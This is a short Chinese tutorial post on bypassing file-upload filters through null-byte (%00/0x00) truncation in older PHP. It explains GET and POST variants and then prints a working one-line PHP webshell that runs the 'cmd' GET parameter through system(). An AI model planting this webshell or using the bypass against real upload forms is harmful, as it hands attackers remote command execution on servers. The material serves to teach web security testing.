zoukankan      html  css  js  c++  java
  • 文件上传-绕过白名单验证

    绕过黑名单验证(00截断绕过)
    00截断原理
    0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。
    系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
    在PHP5.3之后的版本中完全修复了00截断。并且00截断受限于GPC,addslashes函数。
    GET型00截断
    GET型提交的内容会被自动进行URL解码。
    注意:一定要关闭GPC,否则无法成功。


    POST型00截断
    在POST请求中,%00不会被自动解码,需要在16进制中进行修改00

    一句话代码执行webshell
    使用php中的函数system执行GET提交的参数。

    <?php
    if($_GET){
    $cmd = $_GET["cmd"];
    system($cmd);
    }else{
    echo "no cmd";
    }
    ?>
    1
    2
    3
    4
    5
    6
    7
    8

    --------------------

  • 相关阅读:
    加载器学习记录
    日常记录
    php实现银联支付
    PHP 判断密码强度
    laravel artisan 命令列表
    PHP && ,and ,||,or 的区别
    数组与对象的转换
    正则表达式
    微信退款
    laravel when 的用法
  • 原文地址:https://www.cnblogs.com/hyhy904/p/10935223.html
Copyright © 2011-2022 走看看